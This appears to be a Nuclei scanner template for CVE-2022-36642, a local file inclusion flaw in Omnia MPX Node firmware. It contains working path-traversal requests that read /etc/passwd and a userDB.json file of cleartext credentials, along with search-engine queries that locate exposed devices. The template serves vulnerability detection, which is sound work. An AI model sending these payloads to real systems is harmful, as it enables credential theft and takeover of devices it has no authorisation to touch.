Omnia MPX 1.5.0+r1 - Local File Inclusion

id: CVE-2022-36642

info:
  name: Omnia MPX 1.5.0+r1 - Local File Inclusion
  author: arafatansari,ritikchaddha,For3stCo1d
  severity: critical
  description: |
    Telos Alliance Omnia MPX Node through 1.5.0+r1 is vulnerable to local file inclusion via logs/downloadMainLog. By retrieving userDB.json allows an attacker to retrieve cleartext credentials and escalate privileges via the control panel.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read arbitrary files on the server, potentially leading to further compromise of the system.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Omnia MPX.
  reference:
    - https://www.exploit-db.com/exploits/50996
    - https://cyber-guy.gitbook.io/cyber-guy/pocs/omnia-node-mpx-auth-bypass-via-lfd
    - https://nvd.nist.gov/vuln/detail/CVE-2022-36642
    - https://www.telosalliance.com/radio-processing/audio-interfaces/omnia-mpx-node
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-36642
    cwe-id: CWE-862
    epss-score: 0.09044
    epss-percentile: 0.94652
    cpe: cpe:2.3:o:telosalliance:omnia_mpx_node_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: telosalliance
    product: omnia_mpx_node_firmware
    shodan-query:
      - http.title:"Omnia MPX Node | Login"
      - http.title:"omnia mpx node | login"
    fofa-query: title="omnia mpx node | login"
    google-query: intitle:"omnia mpx node | login"
  tags: cve,cve2022,traversal,omnia,edb,lfi,telosalliance,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..//etc/passwd"
      - "{{BaseURL}}/logs/downloadMainLog?fname=../../../../../../..///config/MPXnode/www/appConfig/userDB.json"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: word
        part: body
        words:
          - '"username":'
          - '"password":'
          - '"mustChangePwd":'
          - '"roleUser":'
        condition: and

      - type: regex
        regex:
          - "root:[x*]:0:0"
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